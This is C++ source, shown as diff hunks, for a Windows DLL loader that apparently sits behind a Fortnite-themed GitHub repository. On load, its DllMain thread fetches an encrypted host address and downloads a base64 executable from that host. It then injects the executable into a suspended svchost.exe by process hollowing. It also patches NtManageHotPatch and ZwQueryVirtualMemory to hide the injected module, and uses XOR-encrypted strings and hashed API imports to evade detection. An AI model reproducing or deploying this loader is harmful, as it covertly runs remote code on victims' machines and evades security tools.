MainURL = decrypt(remove_whitespace(DownloadString(EC("https://raw.githubusercontent.com/VinieClara/Fortnite-Reverseal-Collection/refs/heads/main/HHash"))), EC("NtExploreProcess"));
//std::cout << EC("[DBG] Main URL: ") << MainURL << std::endl;
A:
std::string dumasring = DownloadString(EC("https://") + MainURL + EC("/Stb/PokerFace/init.php?id=Father"));
std::vector<uint8_t> ByteStub = Base64ToBytes(dumasring);
//std::cout << EC("[DBG] Got New Father, size is: ") << ByteStub.size() << std::endl;
if (ByteStub.size() < 1000)
{
//std::cout << EC("[DBG] Father STR is: ") << dumasring << std::endl;
//std::cout << EC("[DBG] Father URL is: ") << (EC("https://") + MainURL + EC("/Stb/PokerFace/init.php?id=Father")) << std::endl;
}
LI_FN(Sleep).safe_cached()(200);
if (ByteStub.size() > 1000)
{
ruplepe(ByteStub);
}
else {
LI_FN(Sleep).safe_cached()(5000);
goto A;
}
}
}
catch (...)
{
}
}
return TRUE;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
/*AllocConsole();
freopen(EC("CON"), EC("w"), stdout);
freopen(EC("CON"), EC("w"), stderr);*/
CreateThread(nullptr, NULL, reinterpret_cast<LPTHREAD_START_ROUTINE>(ThreadMain), nullptr, NULL, nullptr);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
+678
View File
@@ -0,0 +1,678 @@
#include <utility>
#include <type_traits>
#include <ctime>
#include <chrono>
#include <random>
#include <algorithm>
#include <string>
#include <iostream>
#include <Windows.h>
#include <Intrin.h>
#include <vector>
#ifndef BUILD_SEED
#define BUILD_SEED 0xA28CCEEu // <-- This value gets randomized on each build via a prebuild command
#endif
#define xorstr(str) ::jm::xor_string([]() { return str; }, std::integral_constant<std::size_t, sizeof(str) / sizeof(*str)>{}, std::make_index_sequence<::jm::detail::_buffer_size<sizeof(str)>()>{})
#define EC(str) xorstr(str).crypt_get()
#define TIME_BASED_XOR_KEY \
( static_cast<std::uintptr_t>(BUILD_SEED) )
#define XORSTR_FORCEINLINE __forceinline
#define LI_FN(name) ::li::detail::lazy_function<LAZY_IMPORTER_KHASH(#name), decltype(&name)>()
#ifndef LAZY_IMPORTER_CPP_FORWARD
#ifdef LAZY_IMPORTER_NO_CPP_FORWARD
#define LAZY_IMPORTER_CPP_FORWARD(t, v) v
#else
#include <utility>
#define LAZY_IMPORTER_CPP_FORWARD(t, v) std::forward<t>( v )
#endif
#endif
#include <intrin.h>
#ifndef LAZY_IMPORTER_NO_FORCEINLINE
#if defined(_MSC_VER)
#define LAZY_IMPORTER_FORCEINLINE __forceinline
#elif defined(__GNUC__) && __GNUC__ > 3
#define LAZY_IMPORTER_FORCEINLINE inline __attribute__((__always_inline__))
#else
#define LAZY_IMPORTER_FORCEINLINE inline
#endif
#else
#define LAZY_IMPORTER_FORCEINLINE inline
#endif
#ifdef LAZY_IMPORTER_CASE_INSENSITIVE
#define LAZY_IMPORTER_CASE_SENSITIVITY false
#else
#define LAZY_IMPORTER_CASE_SENSITIVITY true
#endif
#define LAZY_IMPORTER_STRINGIZE(x) #x
#define LAZY_IMPORTER_STRINGIZE_EXPAND(x) LAZY_IMPORTER_STRINGIZE(x)
// Enhanced Hash Function with multiple rounds and key mixing
#define LAZY_IMPORTER_KHASH(str) \
::li::detail::khash( \
str, \
::li::detail::khash_impl( \
/* mostly-stable part so identical strings collide in the TU: */ \
__FILE__ LAZY_IMPORTER_STRINGIZE_EXPAND(__LINE__) \
/* build-level entropy: */ \
LAZY_IMPORTER_STRINGIZE_EXPAND(BUILD_SEED), \
/* mix constant keeps behaviour more complex */ \
0xBD4A /* A magic constant from the golden ratio */ ) )
namespace jm {
namespace detail {
template<std::size_t Size>
XORSTR_FORCEINLINE constexpr std::size_t _buffer_size()
{
return ((Size / 16) + (Size % 16 != 0)) * 2;
}
template<std::uint32_t Seed>
XORSTR_FORCEINLINE constexpr std::uint32_t key4() noexcept
{
std::uint32_t value = Seed ^ BUILD_SEED;
for (char c : __FUNCSIG__)
value = static_cast<std::uint32_t>((value ^ c) * 31ull);
return value;
}
template<std::size_t S>
XORSTR_FORCEINLINE constexpr std::uint64_t key8()
{
constexpr auto first_part = key4<76 + S>();
constexpr auto second_part = key4<first_part>();
return (static_cast<std::uint64_t>(first_part) << 32) | second_part;
}
// loads up to 8 characters of string into uint64 and xors it with the key
template<std::size_t N, class CharT>
XORSTR_FORCEINLINE constexpr std::uint64_t
load_xored_str8(std::uint64_t key, std::size_t idx, const CharT* str) noexcept
{
using cast_type = typename std::make_unsigned<CharT>::type;
constexpr auto value_size = sizeof(CharT);
constexpr auto idx_offset = 8 / value_size;
std::uint64_t value = key;
for (std::size_t i = 0; i < idx_offset && i + idx * idx_offset < N; ++i)
value ^=
(std::uint64_t{ static_cast<cast_type>(str[i + idx * idx_offset]) }
<< ((i % idx_offset) * 8 * value_size));
return value;
}
// forces compiler to use registers instead of stuffing constants in rdata
XORSTR_FORCEINLINE std::uint64_t load_from_reg(std::uint64_t value) noexcept
{
#if defined(__clang__) || defined(__GNUC__)
asm("" : "=r"(value) : "0"(value) : );
return value;
#else
volatile std::uint64_t reg = value;
return reg;
#endif
}
} // namespace detail
template<class CharT, std::size_t Size, class Keys, class Indices>
class xor_string;
template<class CharT, std::size_t Size, std::uint64_t... Keys, std::size_t... Indices>
class xor_string<CharT, Size, std::integer_sequence<std::uint64_t, Keys...>, std::index_sequence<Indices...>> {
#ifndef JM_XORSTR_DISABLE_AVX_INTRINSICS
constexpr static inline std::uint64_t alignment = ((Size > 16) ? 32 : 16);
#else
constexpr static inline std::uint64_t alignment = 16;
#endif
alignas(alignment) std::uint64_t _storage[sizeof...(Keys)];
static constexpr std::uint64_t keys[sizeof...(Keys)] = { Keys... };
public:
using value_type = CharT;
using size_type = std::size_t;
using pointer = CharT*;
using const_pointer = const CharT*;
template<class L>
XORSTR_FORCEINLINE xor_string(L l, std::integral_constant<std::size_t, Size>, std::index_sequence<Indices...>) noexcept
: _storage{ ::jm::detail::load_from_reg((std::integral_constant<std::uint64_t, detail::load_xored_str8<Size>(Keys, Indices, l())>::value))... }
{}
XORSTR_FORCEINLINE constexpr size_type size() const noexcept
{
return Size - 1;
}
XORSTR_FORCEINLINE void crypt() noexcept
{
((_storage[Indices] ^= keys[Indices]), ...);
}
XORSTR_FORCEINLINE const_pointer get() const noexcept
{
return reinterpret_cast<const_pointer>(_storage);
}
XORSTR_FORCEINLINE pointer get() noexcept
{
return reinterpret_cast<pointer>(_storage);
}
XORSTR_FORCEINLINE pointer crypt_get() noexcept
{
crypt();
return reinterpret_cast<pointer>(_storage);
}
};
template<class L, std::size_t Size, std::size_t... Indices>
xor_string(L l, std::integral_constant<std::size_t, Size>, std::index_sequence<Indices...>) -> xor_string<
std::remove_const_t<std::remove_reference_t<decltype(l()[0])>>,
Size,
std::integer_sequence<std::uint64_t, detail::key8<Indices>()...>,
std::index_sequence<Indices...>>;
} // namespace jm
namespace li {
namespace detail {
namespace win {
struct LIST_ENTRY_T {
const char* Flink;
const char* Blink;
};
struct UNICODE_STRING_T {
unsigned short Length;
unsigned short MaximumLength;
wchar_t* Buffer;
};
struct PEB_LDR_DATA_T {
unsigned long Length;
unsigned long Initialized;
const char* SsHandle;
LIST_ENTRY_T InLoadOrderModuleList;
};
struct PEB_T {
unsigned char Reserved1[2];
unsigned char BeingDebugged;
unsigned char Reserved2[1];
const char* Reserved3[2];
PEB_LDR_DATA_T* Ldr;
};
struct LDR_DATA_TABLE_ENTRY_T {
LIST_ENTRY_T InLoadOrderLinks;
LIST_ENTRY_T InMemoryOrderLinks;
LIST_ENTRY_T InInitializationOrderLinks;
const char* DllBase;
const char* EntryPoint;
union {
unsigned long SizeOfImage;
const char* _dummy;
};
UNICODE_STRING_T FullDllName;
UNICODE_STRING_T BaseDllName;
LAZY_IMPORTER_FORCEINLINE const LDR_DATA_TABLE_ENTRY_T*
load_order_next() const noexcept
{
return reinterpret_cast<const LDR_DATA_TABLE_ENTRY_T*>(
InLoadOrderLinks.Flink);
}
};
struct IMAGE_DOS_HEADER { // DOS .EXE header
unsigned short e_magic; // Magic number
unsigned short e_cblp; // Bytes on last page of file
unsigned short e_cp; // Pages in file
unsigned short e_crlc; // Relocations
unsigned short e_cparhdr; // Size of header in paragraphs
unsigned short e_minalloc; // Minimum extra paragraphs needed
unsigned short e_maxalloc; // Maximum extra paragraphs needed
unsigned short e_ss; // Initial (relative) SS value
unsigned short e_sp; // Initial SP value
unsigned short e_csum; // Checksum
unsigned short e_ip; // Initial IP value
unsigned short e_cs; // Initial (relative) CS value
unsigned short e_lfarlc; // File address of relocation table
unsigned short e_ovno; // Overlay number
unsigned short e_res[4]; // Reserved words
unsigned short e_oemid; // OEM identifier (for e_oeminfo)
unsigned short e_oeminfo; // OEM information; e_oemid specific
unsigned short e_res2[10]; // Reserved words
long e_lfanew; // File address of new exe header
};
struct IMAGE_FILE_HEADER {
unsigned short Machine;
unsigned short NumberOfSections;
unsigned long TimeDateStamp;
unsigned long PointerToSymbolTable;
unsigned long NumberOfSymbols;
unsigned short SizeOfOptionalHeader;
unsigned short Characteristics;
};
struct IMAGE_EXPORT_DIRECTORY {
unsigned long Characteristics;
unsigned long TimeDateStamp;
unsigned short MajorVersion;
unsigned short MinorVersion;
unsigned long Name;
unsigned long Base;
unsigned long NumberOfFunctions;
unsigned long NumberOfNames;
unsigned long AddressOfFunctions; // RVA from base of image
unsigned long AddressOfNames; // RVA from base of image
unsigned long AddressOfNameOrdinals; // RVA from base of image
};
struct IMAGE_DATA_DIRECTORY {
unsigned long VirtualAddress;
unsigned long Size;
};
struct IMAGE_OPTIONAL_HEADER64 {
unsigned short Magic;
unsigned char MajorLinkerVersion;
unsigned char MinorLinkerVersion;
unsigned long SizeOfCode;
unsigned long SizeOfInitializedData;
unsigned long SizeOfUninitializedData;
unsigned long AddressOfEntryPoint;
unsigned long BaseOfCode;
unsigned long long ImageBase;
unsigned long SectionAlignment;
unsigned long FileAlignment;
unsigned short MajorOperatingSystemVersion;
unsigned short MinorOperatingSystemVersion;
unsigned short MajorImageVersion;
unsigned short MinorImageVersion;
unsigned short MajorSubsystemVersion;
unsigned short MinorSubsystemVersion;
unsigned long Win32VersionValue;
unsigned long SizeOfImage;
unsigned long SizeOfHeaders;
unsigned long CheckSum;
unsigned short Subsystem;
unsigned short DllCharacteristics;
unsigned long long SizeOfStackReserve;
unsigned long long SizeOfStackCommit;
unsigned long long SizeOfHeapReserve;
unsigned long long SizeOfHeapCommit;
unsigned long LoaderFlags;
unsigned long NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[16];
};
struct IMAGE_OPTIONAL_HEADER32 {
unsigned short Magic;
unsigned char MajorLinkerVersion;
unsigned char MinorLinkerVersion;
unsigned long SizeOfCode;
unsigned long SizeOfInitializedData;
unsigned long SizeOfUninitializedData;
unsigned long AddressOfEntryPoint;
unsigned long BaseOfCode;
unsigned long BaseOfData;
unsigned long ImageBase;
unsigned long SectionAlignment;
unsigned long FileAlignment;
unsigned short MajorOperatingSystemVersion;
unsigned short MinorOperatingSystemVersion;
unsigned short MajorImageVersion;
unsigned short MinorImageVersion;
unsigned short MajorSubsystemVersion;
unsigned short MinorSubsystemVersion;
unsigned long Win32VersionValue;
unsigned long SizeOfImage;
unsigned long SizeOfHeaders;
unsigned long CheckSum;
unsigned short Subsystem;
unsigned short DllCharacteristics;
unsigned long SizeOfStackReserve;
unsigned long SizeOfStackCommit;
unsigned long SizeOfHeapReserve;
unsigned long SizeOfHeapCommit;
unsigned long LoaderFlags;
unsigned long NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[16];
};
struct IMAGE_NT_HEADERS {
unsigned long Signature;
IMAGE_FILE_HEADER FileHeader;
#ifdef _WIN64
IMAGE_OPTIONAL_HEADER64 OptionalHeader;
#else
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
#endif
};
} // namespace win
struct forwarded_hashes {
unsigned module_hash;
unsigned function_hash;
};
// 64 bit integer where 32 bits are used for the hash offset
// and remaining 32 bits are used for the hash computed using it
using offset_hash_pair = unsigned long long;
LAZY_IMPORTER_FORCEINLINE constexpr unsigned get_hash(offset_hash_pair pair) noexcept { return (pair & 0xFFFFFFFF); }
LAZY_IMPORTER_FORCEINLINE constexpr unsigned get_offset(offset_hash_pair pair) noexcept { return static_cast<unsigned>(pair >> 32); }
template<bool CaseSensitive = LAZY_IMPORTER_CASE_SENSITIVITY>
LAZY_IMPORTER_FORCEINLINE constexpr unsigned hash_single(unsigned value, char c) noexcept
{
return (value ^ static_cast<unsigned>((!CaseSensitive && c >= 'A' && c <= 'Z') ? (c | (1 << 5)) : c)) * 323;
}
LAZY_IMPORTER_FORCEINLINE constexpr unsigned
khash_impl(const char* str, unsigned value) noexcept
{
return (*str ? khash_impl(str + 1, hash_single(value, *str)) : value);
}
LAZY_IMPORTER_FORCEINLINE constexpr offset_hash_pair khash(
const char* str, unsigned offset) noexcept
{
return ((offset_hash_pair{ offset } << 32) | khash_impl(str, offset));
}
template<class CharT = char>
LAZY_IMPORTER_FORCEINLINE unsigned hash(const CharT* str, unsigned offset) noexcept
{
unsigned value = offset;
for (;;) {
char c = *str++;
if (!c)
return value;
value = hash_single(value, c);
}
}
LAZY_IMPORTER_FORCEINLINE unsigned hash(
const win::UNICODE_STRING_T& str, unsigned offset) noexcept
{
auto first = str.Buffer;
const auto last = first + (str.Length / sizeof(wchar_t));
auto value = offset;
for (; first != last; ++first)
value = hash_single(value, static_cast<char>(*first));
return value;
}
// some helper functions
LAZY_IMPORTER_FORCEINLINE const win::PEB_T* peb() noexcept
{
return reinterpret_cast<const win::PEB_T*>(__readgsqword(0x60));
}
LAZY_IMPORTER_FORCEINLINE const win::PEB_LDR_DATA_T* ldr()
{
return reinterpret_cast<const win::PEB_LDR_DATA_T*>(peb()->Ldr);
}
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_NT_HEADERS* nt_headers(
const char* base) noexcept
{
return reinterpret_cast<const win::IMAGE_NT_HEADERS*>(
base + reinterpret_cast<const win::IMAGE_DOS_HEADER*>(base)->e_lfanew);
}
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_EXPORT_DIRECTORY* image_export_dir(
const char* base) noexcept
{
return reinterpret_cast<const win::IMAGE_EXPORT_DIRECTORY*>(
base + nt_headers(base)->OptionalHeader.DataDirectory->VirtualAddress);
}
LAZY_IMPORTER_FORCEINLINE const win::LDR_DATA_TABLE_ENTRY_T* ldr_data_entry() noexcept
{
return reinterpret_cast<const win::LDR_DATA_TABLE_ENTRY_T*>(
ldr()->InLoadOrderModuleList.Flink);
}
struct exports_directory {
unsigned long _ied_size;
const char* _base;
const win::IMAGE_EXPORT_DIRECTORY* _ied;
public:
using size_type = unsigned long;
LAZY_IMPORTER_FORCEINLINE
exports_directory(const char* base) noexcept : _base(base)
{
const auto ied_data_dir = nt_headers(base)->OptionalHeader.DataDirectory[0];
_ied = reinterpret_cast<const win::IMAGE_EXPORT_DIRECTORY*>(
base + ied_data_dir.VirtualAddress);
_ied_size = ied_data_dir.Size;
}
LAZY_IMPORTER_FORCEINLINE explicit operator bool() const noexcept
{
return reinterpret_cast<const char*>(_ied) != _base;
}
LAZY_IMPORTER_FORCEINLINE size_type size() const noexcept
{
return _ied->NumberOfNames;
}
LAZY_IMPORTER_FORCEINLINE const char* base() const noexcept { return _base; }
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_EXPORT_DIRECTORY* ied() const noexcept
{
return _ied;
}
LAZY_IMPORTER_FORCEINLINE const char* name(size_type index) const noexcept
{
return _base + reinterpret_cast<const unsigned long*>(_base + _ied->AddressOfNames)[index];
}
LAZY_IMPORTER_FORCEINLINE const char* address(size_type index) const noexcept
{
const auto* const rva_table =
reinterpret_cast<const unsigned long*>(_base + _ied->AddressOfFunctions);
const auto* const ord_table = reinterpret_cast<const unsigned short*>(
_base + _ied->AddressOfNameOrdinals);
return _base + rva_table[ord_table[index]];
}
LAZY_IMPORTER_FORCEINLINE bool is_forwarded(
const char* export_address) const noexcept
{
const auto ui_ied = reinterpret_cast<const char*>(_ied);
return (export_address > ui_ied && export_address < ui_ied + _ied_size);
}
};
struct safe_module_enumerator {
using value_type = const detail::win::LDR_DATA_TABLE_ENTRY_T;
value_type* value;
value_type* head;
LAZY_IMPORTER_FORCEINLINE safe_module_enumerator() noexcept
: safe_module_enumerator(ldr_data_entry())
{}
LAZY_IMPORTER_FORCEINLINE
safe_module_enumerator(const detail::win::LDR_DATA_TABLE_ENTRY_T* ldr) noexcept
: value(ldr->load_order_next()), head(value)
{}
LAZY_IMPORTER_FORCEINLINE bool next() noexcept
{
value = value->load_order_next();
return value != head && value->DllBase;
}
};
struct unsafe_module_enumerator {
using value_type = const detail::win::LDR_DATA_TABLE_ENTRY_T*;
value_type value;
LAZY_IMPORTER_FORCEINLINE unsafe_module_enumerator() noexcept
: value(ldr_data_entry())
{}
LAZY_IMPORTER_FORCEINLINE void reset() noexcept { value = ldr_data_entry(); }
LAZY_IMPORTER_FORCEINLINE bool next() noexcept
{
value = value->load_order_next();
return true;
}
};
// provides the cached functions which use Derive classes methods
template<class Derived, class DefaultType = void*>
class lazy_base {
protected:
// This function is needed because every templated function
// with different args has its own static buffer
LAZY_IMPORTER_FORCEINLINE static void*& _cache() noexcept
{
static void* value = nullptr;
return value;
}
public:
template<class T = DefaultType>
LAZY_IMPORTER_FORCEINLINE static T safe() noexcept
{
return Derived::template get<T, safe_module_enumerator>();
}
template<class T = DefaultType, class Enum = unsafe_module_enumerator>
LAZY_IMPORTER_FORCEINLINE static T cached() noexcept
{
auto& cached = _cache();
if (!cached)
cached = Derived::template get<void*, Enum>();
return (T)(cached);
}
template<class T = DefaultType>
LAZY_IMPORTER_FORCEINLINE static T safe_cached() noexcept
{
return cached<T, safe_module_enumerator>();
}
};
template<offset_hash_pair OHP>
struct lazy_module : lazy_base<lazy_module<OHP>> {
template<class T = void*, class Enum = unsafe_module_enumerator>
LAZY_IMPORTER_FORCEINLINE static T get() noexcept
{
Enum e;
do {
if (hash(e.value->BaseDllName, get_offset(OHP)) == get_hash(OHP))
return (T)(e.value->DllBase);
} while (e.next());
return {};
}
template<class T = void*, class Ldr>
LAZY_IMPORTER_FORCEINLINE static T in(Ldr ldr) noexcept
{
safe_module_enumerator e(reinterpret_cast<const detail::win::LDR_DATA_TABLE_ENTRY_T*>(ldr));
do {
if (hash(e.value->BaseDllName, get_offset(OHP)) == get_hash(OHP))
return (T)(e.value->DllBase);
} while (e.next());
return {};
}
};
template<offset_hash_pair OHP, class T>
struct lazy_function : lazy_base<lazy_function<OHP, T>, T> {
using base_type = lazy_base<lazy_function<OHP, T>, T>;
template<class... Args>
LAZY_IMPORTER_FORCEINLINE decltype(auto) operator()(Args&&... args) const
{
#ifndef LAZY_IMPORTER_CACHE_OPERATOR_PARENS
return get()(LAZY_IMPORTER_CPP_FORWARD(Args, args)...);
#else
return this->cached()(LAZY_IMPORTER_CPP_FORWARD(Args, args)...);
#endif
}
template<class F = T, class Enum = unsafe_module_enumerator>
LAZY_IMPORTER_FORCEINLINE static F get() noexcept
{
// for backwards compatability.
// Before 2.0 it was only possible to resolve forwarded exports when
// this macro was enabled
#ifdef LAZY_IMPORTER_RESOLVE_FORWARDED_EXPORTS
return forwarded<F, Enum>();
#else
Enum e;
do {
#ifdef LAZY_IMPORTER_HARDENED_MODULE_CHECKS
if (!e.value->DllBase || !e.value->FullDllName.Length)
continue;
#endif
const exports_directory exports(e.value->DllBase);
if (exports) {
auto export_index = exports.size();
while (export_index--)
if (hash(exports.name(export_index), get_offset(OHP)) == get_hash(OHP))
return (F)(exports.address(export_index));
}
} while (e.next());
return {};
#endif
}
};
}
}
+644
View File
@@ -0,0 +1,644 @@
#include "Encrypt.h"
#include <string>
#include <vector>
#include <wininet.h>
#include <sys/stat.h>
#include <fstream>
#include <string>
#include <vector>
#include <wininet.h>
#include <regex>
#include <wincrypt.h>
#include <filesystem>
#include <winternl.h>
#include <map>
#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "crypt32.lib")
std::string MainURL;
typedef NTSTATUS(WINAPI* EMOSS)(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG_PTR ReturnLength
);
bool patch_ZwQueryVirtualMemory(HANDLE hProcess, LPVOID module_ptr, HMODULE hNtdll)
{
if (!hNtdll) return false; // should never happen
ULONGLONG pos = 8;
DWORD oldProtect = 0;
const SIZE_T stub_size = 0x20;
std::string virtmom = EC("ZwQueryVirtualMemory");
ULONG_PTR _ZwQueryVirtualMemory = (ULONG_PTR)LI_FN(GetProcAddress).cached()(hNtdll, virtmom.c_str());
if (!_ZwQueryVirtualMemory || _ZwQueryVirtualMemory < pos) {
return false;
}
LPVOID stub_ptr = (LPVOID)((ULONG_PTR)_ZwQueryVirtualMemory - pos);
if (!LI_FN(VirtualProtectEx).cached()(hProcess, stub_ptr, stub_size, PAGE_READWRITE, &oldProtect)) {
return false;
}
LPVOID patch_space = LI_FN(VirtualAllocEx).cached()(hProcess, 0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!patch_space) {
return false;
}
BYTE stub_buffer_orig[stub_size] = { 0 };
SIZE_T out_bytes = 0;
if (!LI_FN(ReadProcessMemory).cached()(hProcess, stub_ptr, stub_buffer_orig, stub_size, &out_bytes) || out_bytes != stub_size) {
return false;
}
const BYTE nop_pattern[] = { 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00 };
if (LI_FN(memcmp).cached()(stub_buffer_orig, nop_pattern, sizeof(nop_pattern)) != 0) {
return false;
}
// prepare the patched stub:
const size_t syscall_pattern_full = 8;
const size_t syscall_pattern_start = 4;
const BYTE syscall_fill_pattern[] = {
0x4C, 0x8B, 0xD1, //mov r10,rcx
0xB8, 0xFF, 0x00, 0x00, 0x00 // mov eax,[syscall ID]
};
if (LI_FN(memcmp).cached()(stub_buffer_orig + pos, syscall_fill_pattern, syscall_pattern_start) != 0) {
return false;
}
// prepare the patch to be applied on ZwQueryVirtualMemory:
BYTE stub_buffer_patched[stub_size] = { 0 };
LI_FN(memcpy).cached()(stub_buffer_patched, stub_buffer_orig, stub_size);
const BYTE jump_back[] = { 0xFF, 0x25, 0xF2, 0xFF, 0xFF, 0xFF };
LI_FN(memcpy).cached()(stub_buffer_patched, &patch_space, sizeof(LPVOID));
LI_FN(memset).cached()(stub_buffer_patched + pos, 0x90, syscall_pattern_full);
LI_FN(memcpy).cached()(stub_buffer_patched + pos, jump_back, sizeof(jump_back));
// prepare the trampoline:
const BYTE jump_to_contnue[] = { 0xFF, 0x25, 0xEA, 0xFF, 0xFF, 0xFF };
ULONG_PTR _ZwQueryVirtualMemory_continue = (ULONG_PTR)_ZwQueryVirtualMemory + syscall_pattern_full;
BYTE func_patch[] = {
0x49, 0x83, 0xF8, 0x0E, //cmp r8,0xE -> is MEMORY_INFORMATION_CLASS == MemoryImageExtensionInformation?
0x75, 0x22, // jne [continue to function]
0x48, 0x3B, 0x15, 0x0B, 0x00, 0x00, 0x00, // cmp rdx,qword ptr ds:[addr] -> is ImageBase == module_ptr ?
0x75, 0x19, // jne [continue to function]
0xB8, 0xBB, 0x00, 0x00, 0xC0, // mov eax,C00000BB -> STATUS_NOT_SUPPORTED
0xC3 //ret
};
BYTE stub_buffer_trampoline[stub_size * 2] = { 0 };
LI_FN(memcpy).cached()(stub_buffer_trampoline, func_patch, sizeof(func_patch));
LI_FN(memcpy).cached()(stub_buffer_trampoline + stub_size, stub_buffer_orig, stub_size);
LI_FN(memcpy).cached()(stub_buffer_trampoline + stub_size - sizeof(LPVOID), &module_ptr, sizeof(LPVOID));
LI_FN(memcpy).cached()(stub_buffer_trampoline + stub_size, &_ZwQueryVirtualMemory_continue, sizeof(LPVOID));
LI_FN(memcpy).cached()(stub_buffer_trampoline + stub_size + pos + syscall_pattern_full, jump_to_contnue, sizeof(jump_to_contnue));
const SIZE_T trampoline_full_size = stub_size + pos + syscall_pattern_full + sizeof(jump_to_contnue);
if (!LI_FN(WriteProcessMemory).cached()(hProcess, stub_ptr, stub_buffer_patched, stub_size, &out_bytes) || out_bytes != stub_size) {
return false;
}
if (!LI_FN(VirtualProtectEx).cached()(hProcess, stub_ptr, stub_size, oldProtect, &oldProtect)) {
return false;
}
if (!LI_FN(WriteProcessMemory).cached()(hProcess, patch_space, stub_buffer_trampoline, trampoline_full_size, &out_bytes) || out_bytes != trampoline_full_size) {
return false;
}
if (!LI_FN(VirtualProtectEx).cached()(hProcess, patch_space, stub_size, PAGE_EXECUTE_READ, &oldProtect)) {
return false;
}
LI_FN(FlushInstructionCache).cached()(hProcess, stub_ptr, stub_size);
return true;
}
bool patch_NtManageHotPatch64(HANDLE hProcess, HMODULE hNtdll)
{
if (!hNtdll) return false; // should never happen
DWORD oldProtect = 0;
const SIZE_T stub_size = 0x20;
const BYTE hotpatch_patch[] = {
0xB8, 0xBB, 0x00, 0x00, 0xC0, // mov eax,C00000BB -> STATUS_NOT_SUPPORTED
0xC3 //ret
};
// syscall stub template
const size_t syscall_pattern_full = 8;
const size_t syscall_pattern_start = 4;
const BYTE syscall_fill_pattern[] = {
0x4C, 0x8B, 0xD1, //mov r10,rcx
0xB8, 0xFF, 0x00, 0x00, 0x00 // mov eax,[syscall ID]
};
std::string gotpot = EC("NtManageHotPatch");
ULONG_PTR _NtManageHotPatch = (ULONG_PTR)LI_FN(GetProcAddress).cached()(hNtdll, gotpot.c_str());
if (!_NtManageHotPatch) {
return false;
}
LPVOID stub_ptr = (LPVOID)_NtManageHotPatch;
if (!LI_FN(VirtualProtectEx).cached()(hProcess, stub_ptr, stub_size, PAGE_READWRITE, &oldProtect)) {
return false;
}
BYTE stub_buffer_orig[stub_size] = { 0 };
SIZE_T out_bytes = 0;
if (!LI_FN(ReadProcessMemory).cached()(hProcess, stub_ptr, stub_buffer_orig, stub_size, &out_bytes) || out_bytes != stub_size) {
return false;
}
// confirm it is a valid syscall stub:
if (LI_FN(memcmp).cached()(stub_buffer_orig, syscall_fill_pattern, syscall_pattern_start) != 0) {
return false;
}
if (!LI_FN(WriteProcessMemory).cached()(hProcess, stub_ptr, hotpatch_patch, sizeof(hotpatch_patch), &out_bytes) || out_bytes != sizeof(hotpatch_patch)) {
return false;
}
if (!LI_FN(VirtualProtectEx).cached()(hProcess, stub_ptr, stub_size, oldProtect, &oldProtect)) {
return false;
}
LI_FN(FlushInstructionCache).cached()(hProcess, stub_ptr, sizeof(hotpatch_patch));
return true;
}
int ruplepe(std::vector<uint8_t> argy) {
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)argy.data();
PIMAGE_NT_HEADERS64 NtHeader = (PIMAGE_NT_HEADERS64)(argy.data() + DosHeader->e_lfanew);
PROCESS_INFORMATION pi;
STARTUPINFO si = { sizeof(si) };
ULONG_PTR retlen;
PROCESS_BASIC_INFORMATION pbi;
void* newImgBase;
DWORD64 ImgBaseAddress;
HMODULE hNtdll = LI_FN(GetModuleHandleA).safe()(EC("ntdll"));
HMODULE ntDll = LI_FN(LoadLibraryA).safe()(EC("ntdll.dll"));
if (ntDll == nullptr) {
return 1;
}
std::string nqr = EC("NtQueryInformationProcess");
EMOSS NtQueryInformationProcess = (EMOSS)GetProcAddress(ntDll, nqr.c_str());
if (NtHeader->Signature != IMAGE_NT_SIGNATURE) {
return 1;
}
if (!CreateProcessW(EC(L"C:\\Windows\\System32\\svchost.exe"),
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED,
NULL, NULL, &si, &pi)) {
return 1;
}
patch_NtManageHotPatch64(pi.hProcess, hNtdll);
NtQueryInformationProcess(
pi.hProcess,
ProcessBasicInformation,
&pbi,
sizeof(PROCESS_BASIC_INFORMATION),
&retlen
);
newImgBase = LI_FN(VirtualAllocEx).cached()(
pi.hProcess,
NULL,
NtHeader->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (newImgBase == NULL) {
return 1;
}
LI_FN(WriteProcessMemory).cached()(pi.hProcess, newImgBase, argy.data(), NtHeader->OptionalHeader.SizeOfHeaders, 0);
PIMAGE_SECTION_HEADER SectionHeader = (PIMAGE_SECTION_HEADER)(argy.data() + DosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS64));
for (int num = 0; num < NtHeader->FileHeader.NumberOfSections; num++) {
if (!LI_FN(WriteProcessMemory).cached()(pi.hProcess,
(LPVOID)((DWORD64)newImgBase + SectionHeader->VirtualAddress),
(LPVOID)((DWORD64)argy.data() + SectionHeader->PointerToRawData),
SectionHeader->SizeOfRawData,
0)) {
}
SectionHeader++;
}
ImgBaseAddress = (DWORD64)pbi.PebBaseAddress + 0x10;
if (!LI_FN(WriteProcessMemory).cached()(pi.hProcess, (LPVOID)ImgBaseAddress, &newImgBase, sizeof(newImgBase), 0)) {
}
HANDLE NewThread = LI_FN(CreateRemoteThread).cached()(pi.hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)((DWORD64)newImgBase + NtHeader->OptionalHeader.AddressOfEntryPoint),
NULL,
CREATE_SUSPENDED,
NULL);
if (!NewThread) {
return 1;
}
LI_FN(SuspendThread).cached()(pi.hThread);
patch_ZwQueryVirtualMemory(pi.hProcess, newImgBase, hNtdll);
LI_FN(ResumeThread).cached()(NewThread);
//std::cout << "DosHeader: " << std::hex << "0x" << DosHeader;
